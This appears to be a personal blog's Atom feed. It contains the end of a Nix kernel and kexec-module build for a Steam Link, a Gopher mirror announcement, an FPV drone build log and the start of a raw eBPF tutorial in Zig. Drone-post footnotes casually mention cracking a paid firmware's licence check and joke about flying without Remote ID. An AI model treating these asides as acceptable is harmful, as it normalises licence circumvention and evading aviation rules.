</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;-Wno-error=address&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;-Wno-error=dangling-pointer&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;-Wno-error=missing-attributes&#34;</span>
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>          <span style="color:#b6a0ff">inherit</span> (kernel) hardeningDisable;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          configurePhase <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            make bg2cd_penguin_mlc_defconfig $makeFlags
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            echo &#34;CONFIG_KEXEC=y&#34; &gt;&gt; .config
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            echo &#34;CONFIG_KERNEL_XZ=y&#34; &gt;&gt; .config
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            make olddefconfig $makeFlags
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">          &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          postBuild <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            make modules $makeFlags -j$NIX_BUILD_CORES
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">          &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          installPhase <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            mkdir $out
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            cp -r * $out/
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">          &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          dontFixup <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        kexecMod <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>          <span style="color:#b6a0ff">inherit</span> (pkgs) stdenv;
</span></span><span style="display:flex;"><span>          <span style="color:#b6a0ff">inherit</span> (self<span style="color:#00d3d0">.</span>packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span>) kernel oldKernel;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">in</span> stdenv<span style="color:#00d3d0">.</span>mkDerivation {
</span></span><span style="display:flex;"><span>          pname <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;kexec_mod&#34;</span>;
</span></span><span style="display:flex;"><span>          version <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;0.0.1&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          src <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">./kexec_mod</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          postPatch <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            for f in machine_kexec.c kexec.c relocate_kernel.S; do
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">              substituteInPlace &#34;$f&#34; --subst-var-by KERNEL </span><span style="color:#79a8ff">${</span>oldKernel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">            done
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">          &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          nativeBuildInputs <span style="color:#00d3d0">=</span> kernel<span style="color:#00d3d0">.</span>moduleBuildDependencies;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          makeFlags <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;ARCH=</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>hostPlatform<span style="color:#00d3d0">.</span>linuxArch<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;CROSS_COMPILE=</span><span style="color:#79a8ff">${</span>stdenv<span style="color:#00d3d0">.</span>cc<span style="color:#00d3d0">.</span>targetPrefix<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;KDIR=</span><span style="color:#79a8ff">${</span>oldKernel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;INSTALL_MOD_PATH=$(out)&#34;</span>
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          env<span style="color:#00d3d0">.</span>NIX_CFLAGS_COMPILE <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">toString</span> [
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;-std=gnu89&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;-fno-pie&#34;</span>
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>          <span style="color:#b6a0ff">inherit</span> (kernel) hardeningDisable;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          meta <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>            description <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;kexec functionality as a kernel module for old kernels&#34;</span>;
</span></span><span style="display:flex;"><span>            homepage <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;https://github.com/lukas2511/steamlink-sdk&#34;</span>;
</span></span><span style="display:flex;"><span>            license <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>licenses<span style="color:#00d3d0">.</span>gpl2;
</span></span><span style="display:flex;"><span>            platforms <span style="color:#00d3d0">=</span> [ system ];
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>      };
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<div class="rc-scout-wrapper"><div class="rc-scout" data-scout-rendered="true"><p class="rc-scout__text">
<i>I cut my teeth on using Nix to cross compile Linux at <i class="rc-scout__logo"></i> <a class="rc-scout__link" href="https://www.recurse.com/scout/click?t=c9ef0a055fcd2cd243ac045bc1f6dd82">Recurse Center</a>. If you want to program at the edge of your abilities, consider applying.</i>
</p></div> <style class="rc-scout__style" type="text/css">.rc-scout { display: block; padding: 0; border: 0; margin: 0; } .rc-scout__text { display: block; padding: 0; border: 0; margin: 0; height: 100%; font-size: 100%; } .rc-scout__logo { display: inline-block; padding: 0; border: 0; margin: 0; width: 0.85em; height: 0.85em; background: no-repeat center url('data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2012%2015%22%3E%3Crect%20x%3D%220%22%20y%3D%220%22%20width%3D%2212%22%20height%3D%2210%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%221%22%20width%3D%2210%22%20height%3D%228%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%222%22%20width%3D%228%22%20height%3D%226%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%229%22%20width%3D%224%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%2211%22%20width%3D%2210%22%20height%3D%224%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%220%22%20y%3D%2212%22%20width%3D%2212%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%225%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%227%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%228%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%229%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3C%2Fsvg%3E'); } .rc-scout__link:link, .rc-scout__link:visited { color: #3dc06c; text-decoration: underline; } .rc-scout__link:hover, .rc-scout__link:active { color: #4e8b1d; }</style></div>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Right before I published this I discovered <a href="https://github.com/Ondra-Zik/steamlink-nixos">someone else</a> had vibed their way to a bootable NixOS install, although their config is more _slop_py, doesn&rsquo;t handle reboots correctly, and uses a bunch of unnecessary binary blobs instead of building from source.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Although using <kbd>make modules_prepare</kbd> lets us build successfully, the resulting kernel module will not have the right vermagic and symbol addresses and will not be accepted by <kbd>insmod</kbd>:</p>
<blockquote>
<p>NOTE: &ldquo;modules_prepare&rdquo; will not build Module.symvers even if <code>CONFIG_MODVERSIONS</code> is set; therefore, a full kernel build needs to be executed to make module versioning work.</p></blockquote>
<p>(<a href="https://www.kernel.org/doc/html/latest/kbuild/modules.html%20">source</a>)&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  
  <entry>
    <title type="html"><![CDATA[To you from the WWW]]></title>
    <link href="https://feyor.sh/blog/to-you-from-the-www/"/>
    <id>tag:feyor.sh:38bc9991-bf07-40fc-94d7-ced7dae4827e</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2026-05-11T00:00:00+00:00</published>
    <updated>2026-05-11T06:49:36-05:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/to-you-from-the-www/"><![CDATA[<p>If you&rsquo;re reading this, it means you&rsquo;re accessing my blog from the world wide web.
That&rsquo;s cool and all, but have you heard of this thing called <a href="https://en.wikipedia.org/wiki/Gopher_%28protocol%29">Gopher</a>?</p>
<p>If I&rsquo;ve piqued your interest, you might want to checkout the mirror of my blog at gopher.feyor.sh (gopher://gopher.feyor.sh).
There&rsquo;s not complete feature parity with the HTML version, but I&rsquo;m quite happy with how it turned out.</p>
<p>Just a heads up that I use ANSI escape codes very liberally for code blocks and such, but not all Gopher clients like that (if you know me, I&rsquo;m sure you can hazard a guess as to what Gopher client <a href="https://thelambdalab.xyz/elpher/">I&rsquo;m using</a>).
Also, I assume some more basic clients will choke on CJK characters; all that is to say YMMV.</p>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[So I built a drone]]></title>
    <link href="https://feyor.sh/blog/so-i-built-a-drone/"/>
    <id>tag:feyor.sh:e9ec88bd-16e5-4743-b760-4e424ffe8206</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2026-05-01T00:00:00+00:00</published>
    <updated>2026-05-05T00:31:22-05:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/so-i-built-a-drone/"><![CDATA[<p>I&rsquo;ve been contemplating getting into FPV since I was in high school, but since I lived in Chicago at the time (and I didn&rsquo;t own a car) there weren&rsquo;t many places for me to fly a racing drone.
But once I moved to the cornfields I didn&rsquo;t have an excuse, so after finding a decent deal on a pair of Fatshark goggles (and then procrastinating for 2 years) I finally decided to commit to building a drone for freestyle (and maybe racing too I guess?).</p>
<figure><img src="https://feyor.sh/blog/so-i-built-a-drone/drone.webp"
    alt="My 5″ quadcopter in all its glory">
</figure>

<p>I&rsquo;m honestly not sure why I find FPV appealing since I&rsquo;m not an adrenaline junkie and I have no interest in recreational aircraft, but I can definitely say that this was (and will continue to be) a really fun project!
Also, I feel a bit proud as this was my first &ldquo;real&rdquo; hardware project that didn&rsquo;t get completely botched<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>; being able to practice soldering and proving to myself that electronics aren&rsquo;t so daunting after all were honestly much more valuable to me than the drone itself.</p>
<h2 id="part-list">Part list</h2>
<p>I&rsquo;m sure I made some pretty silly decisions a seasoned hobbyist would avoid (something something Amdahl&rsquo;s law), but I wanted to take a crack at sourcing the parts myself.
I ordered several parts that were subtly incompatible with my build and had to make quite a few returns, so if I were to do this again I would probably buy a kit instead&mdash;it would likely be cheaper and someone more knowledgeable than I would have already verified that the parts all synergize nicely.</p>
<dl>
<dt><strong>Video</strong></dt>
<dd><ul>
<li><strong>Camera:</strong> <a href="https://www.caddxfpv.com/products/ratel-2-1-1-8inch-starlight-sensor-freestyle-fpv-camera">CaddxFPV Ratel 2</a> ($29.88 @ Amazon)</li>
<li><strong>VTX:</strong> <a href="https://rushfpv.net/products/tank-ultimate-mini-vtx?variant=43403015979178">RushFPV Tank Ultimate Mini VTX</a> ($39.99 @ AliExpress)
<ul>
<li><strong>Antenna:</strong> <a href="https://rushfpv.net/products/rushfpv-cherry2-cherry-antenna-ii-5-8g?variant=44154046316714">RushFPV Cherry2 5.8G</a> ($14.99 @ Amazon)</li>
</ul>
</li>
<li><strong>Goggles:</strong> <a href="https://www.fatshark.com/product-page/dominator-hd3">Fatshark Dominator HD2</a> ($195.64 @ eBay)
<ul>
<li><strong>Directional Antenna:</strong> <a href="https://truerc.com/63425-63427-x-air-58-mk-ii-rp-sma#/153-polarization-rhcp/448-connector-rp_sma">TrueRC X-Air MKII</a> ($39.59 @ Amazon)</li>
<li><strong>Diversity Module:</strong> <a href="https://www.eachine.com/Eachine-PRO58-RX-Diversity-40CH-5_8G-OLED-SCAN-VRX-FPV-Receiver-for-FatShark-Goggles-p-931.html">Eachine PRO58</a> ($53.99 @ Banggood)
<ul>
<li><strong>Firmware:</strong> <a href="https://achillesfpv.eu/home/eachine-pro58/">AchilleΣ PLUS</a> (€11.00 @ <a href="https://achillesfpv.eu/contact/">AchilleΣ FPV</a>)<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
</ul>
</li>
</ul>
</li>
</ul>
</dd>
</dl>
<p><strong>Flight Controller/ESC:</strong> <a href="https://www.speedybee.com/speedybee-f405-v4-bls-55a-30x30-fc-esc-stack/">Speedybee F405 V4 Stack</a> ($68.55 @ AliExpress)</p>
<p><strong>Motors:</strong> <a href="https://tmotorhobby.com/goods-1109-T-Motor&#43;Fpv&#43;Motor%EF%BC%8CVELOX&#43;VELOCE&#43;V2208&#43;1750KV1950KV&#43;Fpv&#43;Motor.html">T-Motor V2208 V2 5&quot;</a> ($83.15 @ AliExpress)</p>
<p><strong>Props:</strong> <a href="https://www.hqprop.com/hq-freestyle-prop-5x43x3v2s-2cw2ccw-poly-carbonate-p0233.html">HQ 5x4.3x3x3V2S</a> ($14.36 @ AliExpress)</p>
<dl>
<dt><strong>Controller:</strong> <a href="https://www.jumper-rc.com/transmitters/t20/">Jumper T20S</a> ($139.99 @ NewBeeDrone)</dt>
<dd><ul>
<li><strong>ELRS TX:</strong> <a href="https://radiomasterrc.com/products/rp1-expresslrs-2-4ghz-nano-receiver?variant=46486355673280">RadioMaster RP1 V2 2.4GHz</a> ($23.99 @ Amazon)</li>
</ul>
</dd>
<dt><strong>Batteries:</strong> <a href="https://www.gaoneng.shop/products/gaoneng-gnb-lihv-6s-22.8v-1100mah-120c-xt60-lipo-battery">Gaoneng GNB 6S 1100mAh 120C</a> ($27.59/ea @ Amazon)</dt>
<dd><ul>
<li><strong>Charger:</strong> <a href="https://www.skyrc.com/d200neo">SkyRC D200neo</a> ($108.98 @ Amazon)</li>
</ul>
</dd>
</dl>
<p><strong>Frame:</strong> <a href="https://www.getfpv.com/tbs-source-one-v5-5-frame-kit.html">TBS Source One V5.1 5&quot;</a> ($44.99 @ AliExpress)</p>
<p><strong>Simulator:</strong> <a href="https://www.velocidrone.com/">VelociDrone</a> (£16.99 @ Bat Cave Games)</p>
<p>In addition to the parts listed here I also spent ~$80 on a Pinecil, solder, wire, Kapton tape, Alien tape, various adapters, a smoke stopper, and an ST-Link USB dongle.</p>
<h2 id="build">Build</h2>
<p>I loosely followed one of Joshua Bardwell&rsquo;s <a href="https://www.youtube.com/playlist?list=PLwoDb7WF6c8l24IM83wIS94XzhuMVC2gx">excellent FPV drone builds</a> and consulted the various manufacturer manuals to get everything wired up correctly.
For getting software/firmware setup, the <a href="https://www.expresslrs.org/quick-start/getting-started/">ELRS</a> and <a href="https://betaflight.com/docs/wiki">Betaflight</a> docs were also invaluable.</p>
<p>The hardest part for me was all the soldering, as I was quite inexperienced.
I had some perfboard and spare resistors lying around, so I practiced soldering components on and then taking them off, tinning and joining wires, and using flux and a desoldering braid.
Even though there was not a single through-hole component in the soldering I did for the drone, getting comfortable beforehand with a soldering iron was invaluable for the real deal and I HIGHLY recommend doing so for anyone who isn&rsquo;t already proficient in soldering.</p>
<p>I don&rsquo;t have any action shots, so just imagine an incredibly cluttered desk with a bunch of screws and dried up solder globs strewn over the place.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>
<h2 id="letting-er-rip">Letting &rsquo;er rip</h2>
<p>Before attaching a single prop (or perhaps even before buying most of the parts besides the controller) you should get at least a few hours under your belt in a flight sim like <a href="https://www.velocidrone.com/">VelociDrone</a>.
This is a very idealized version of drone flying (negligible wind, perfect signal, sitting at your desk instead of standing in a field) but in addition to getting some much needed practice, this is a good test to see if you&rsquo;re actually interested in FPV drones without sinking a few hundred bucks into one.</p>
<p>I still don&rsquo;t really know what the ideal flying spot looks like because public parks tend to have lots of people (which makes a novice pilot like myself somewhat nervous) and most other locations are on private property, but a bit of advice is to not fly near government/police compounds<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>.
I&rsquo;m (thankfully) not speaking from experience on this one but it seems like a good call to make.</p>
<p>Also, I want to give a huge shout-out to my roommate <a href="https://www.rliu.dev/home/">Richard</a> for nagging me to get this project across the finish line, joining me as another FPV pilot, and serving as <del>chauffeur</del> transport.</p>
<h3 id="attempt-0-sanity-check">Attempt 0: Sanity check</h3>
<p>As an integration test of sorts, I took the drone in front of my apartment for a mock flight.</p>
<p>A few seconds after arming the drone, I heard a strange sound and one of the motors violently separated itself from the frame.
As I inspected the damage I realized I had pulled a <a href="https://en.wikipedia.org/wiki/Alaska_Airlines_Flight_1282">Boeing</a>: not only had I secured the motors with only two screws instead of four, I hadn&rsquo;t tightened any of them!
Honestly, it was more surprising that <em>only</em> one motor detached.</p>
<p>But loose screws notwithstanding, all systems were nominal&mdash;it was time for a real flight!</p>
<h3 id="attempt-1-maiden-flight">Attempt 1: Maiden flight</h3>
<p>After perennially being &ldquo;just one small thing&rdquo; away from flying the drone, the day had finally come to actually get the damn thing in the air.</p>
<p>I get the drone off the ground and&hellip; my video immediately turned into a sea of static.</p>
<figure>
<p><video autoplay loop muted playsinline loading="lazy"><source src="https://feyor.sh/so-i-built-a-drone/attempt1.webm" type="video/webm">
A short flight where my video feed cuts out and I subsequently crash.</video></p>
<figcaption>
<p>It was not &ldquo;just like the simulations&rdquo;</p>
</figcaption>
</figure>
<p>Turns out I had turned my VTX power way down to prevent the VTX from overheating during the build, but I had forgotten to set it back to a reasonable value.
There&rsquo;s a way you can <a href="https://betaflight.com/docs/wiki/guides/current/Controls#stick-positions">flick the sticks</a> to change settings via the on screen display but I couldn&rsquo;t find the VTX menu (it didn&rsquo;t help that the OSD was completely illegible).
That having been said, it&rsquo;s entirely possible I didn&rsquo;t configure SmartAudio properly.</p>
<h3 id="attempt-2-with-video-this-time">Attempt 2: With video this time</h3>
<p>After cranking the VTX power back up to a reasonable value, we headed to a more secluded piece of farmland where we didn&rsquo;t have to worry about pedestrians or cars.
I tried putting my goggles on only to realize I had forgotten to wear contacts; one way or another I was still flying half blind.
Due to aforementioned lack of vision and accidentally getting some magnetic gravel jammed in one of the motors<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>, this was a short-lived excursion.</p>
<h3 id="attempt-3-accidentally-creating-a-bomb">Attempt 3: Accidentally creating a bomb</h3>
<p>By this point I had a checklist for everything I needed to go out flying: batteries charged, hex screwdriver, contacts on.
We returned to the same field from last time, and although the landscape wasn&rsquo;t exactly diverse, for the first time I was actually able to get some good flying in!
Some rolls, flips, and yes, even landing the drone instead of crashing it.</p>
<p><video controls muted playsinline loading="lazy"><source src="https://feyor.sh/so-i-built-a-drone/attempt3.webm" type="video/webm">
The drone zooming around out in the middle of nowhere.</video></p>
<style>
.figure-number {
    display: none;
}
</style>
<figure><img src="https://feyor.sh/blog/so-i-built-a-drone/locked-in.webp"
    alt="My roommate Richard piloting the drone"><figcaption>
      <p><span class="figure-number">Figure 1: </span>Richard locked tf in</p>
    </figcaption>
</figure>

<p>However, due to my carelessness in not securing the balance charge lead on the LiPO, it got caught in a prop and started shorting when I picked it up （゜Д゜）</p>
<p>So although that led to a stressful car ride back to our apartment with me ready to throw our unintentional ordnance out the window, I would consider this mission success!</p>
<h2 id="retrospective">Retrospective</h2>
<p>Some parting words of wisdom to hopefully save someone some of the trouble I went through:</p>
<dl>
<dt><strong>Choose digital</strong></dt>
<dd>A fairly big misstep I made was assuming that the drone build advice I gathered back in 2018 was still relevant: a decent chunk of it was, but I had no idea how far digital video for FPV had progressed (both in cost and quality).
Technically I don&rsquo;t have an informed opinion having never flown with digital, but from everything I hear the quality is really just that much better than analog (and I think any difference in latency is probably not very perceptible to an inexperienced pilot like myself).
I&rsquo;m generally not a fan of buying into proprietary systems, but I&rsquo;m also a pragmatist&mdash;at least for me, shelling out the extra $100&ndash;200 for dramatically better video quality probably would have been worth it.</dd>
<dt><strong>RTFM</strong></dt>
<dd>I wasted <em>countless</em> hours going down rabbit holes or worrying that my equipment was broken when that could have been avoided by spending 5 minutes reading a manual.
For example, I spent an inordinate amount of time buying and soldering on a JST connector to the 3 wires sticking out of my Fatshark LiPO battery only for me to realize those 3 wires are in fact not for a balance plug but instead meant to power the fan on the goggles.
D&rsquo;oh!</dd>
<dt><strong>Have fun!</strong></dt>
<dd>Instead of constantly worrying that you&rsquo;re going to crash the drone or make an expensive mistake, I think you just have to embrace that mistakes are inevitable and part of the experience (plus, if you built the drone yourself you can easily repair individual parts relatively cheaply).
And if never putting your drone in a situation where it might crash is what helps <span class="underline">you</span> enjoy flying, you should do so; who am I to tell you how to fly your drone?</dd>
</dl>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>The irony that I finished this project and then proceeded to go work on <a href="https://www.anduril.com/pulsar">knocking drones out of the sky</a> is not lost on me.
At least I had a head start!&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>I was a bit impatient and assumed this shop was dead so I cracked the license check, but the owner responded after a few days.
Given the low price and the (surprisingly) good quality of the software I would highly recommend buying this!&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>It&rsquo;s actually quite important that you clean these up, as they can cause a short!&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>This goes doubly if you don&rsquo;t have <a href="https://www.faa.gov/uas/getting_started/remote_id">Remote ID</a>. Hypothetically, of course.&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>According to Reddit you should use compressed air to handle this, but I alternated scraping it out with my fingers and flooring the throttle (with no props).&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[eBPF on Hard Mode]]></title>
    <link href="https://feyor.sh/blog/ebpf-on-hard-mode/"/>
    <id>https://feyor.sh/blog/ebpf-on-hard-mode/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2026-02-19T00:00:00+00:00</published>
    <updated>2026-10-06T14:49:00-05:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/ebpf-on-hard-mode/"><![CDATA[<p>A while back I was messing around with eBPF and I couldn&rsquo;t find any good materials on using BPF <em>without</em> libbpf/LLVM/GCC (i.e. rawdogging bytecode), so here&rsquo;s the resource I wished I had.</p>
<p>I&rsquo;ll be using Linux version 6.18 in this post; eBPF moves pretty fast and the verifier gets smarter with every release, so the information in this post might be out of date when you read this.</p>
<p>In conjunction with this post, I would recommend reading the documentation (especially to supplement parts that might be confusing):</p>
<ul>
<li><a href="https://docs.kernel.org/bpf/standardization/instruction-set.html">BPF ISA reference</a></li>
<li><a href="https://docs.kernel.org/userspace-api/ebpf/syscall.html">BPF syscall reference</a></li>
<li><a href="https://docs.kernel.org/bpf/btf.html">BTF reference</a></li>
<li><a href="https://docs.ebpf.io/linux/">ebpf.io docs</a> (for maps, program types, helpers/KFuncs)</li>
</ul>
<div aria-hidden="true" style="display:none">
<!--[^fn:1]-->
<img src="https://feyor.sh/" alt=""></div>
<h2 id="ebpf-hello-world">eBPF Hello World</h2>
<p>Linux exposes eBPF functionality to user space through the <kbd>bpf</kbd> syscall, whose functionality is split into several subcommands.</p>
<p>The basic flow of eBPF is to create an array of eBPF bytecode instructions, pass it to the <code>BPF_PROG_LOAD</code> subcommand along with a program type (e.g. socket filter), and then attach it to the corresponding resource (like a socket or a kprobe).</p>
<p><a id="code-snippet--ebpf-example1"></a></p>





  
  
    
    
    
  
  
    

  
  
    




  






<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> linux <span style="color:#00d3d0">=</span> std.os.linux;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> posix <span style="color:#00d3d0">=</span> std.posix;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> BPF <span style="color:#00d3d0">=</span> linux.BPF;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> AF <span style="color:#00d3d0">=</span> linux.AF;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SOCK <span style="color:#00d3d0">=</span> linux.SOCK;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SOL <span style="color:#00d3d0">=</span> linux.SOL;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SO <span style="color:#00d3d0">=</span> linux.SO;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> insns <span style="color:#00d3d0">=</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// drop everything after the first 4 bytes
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">4</span>),
</span></span><span style="display:flex;"><span>        .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
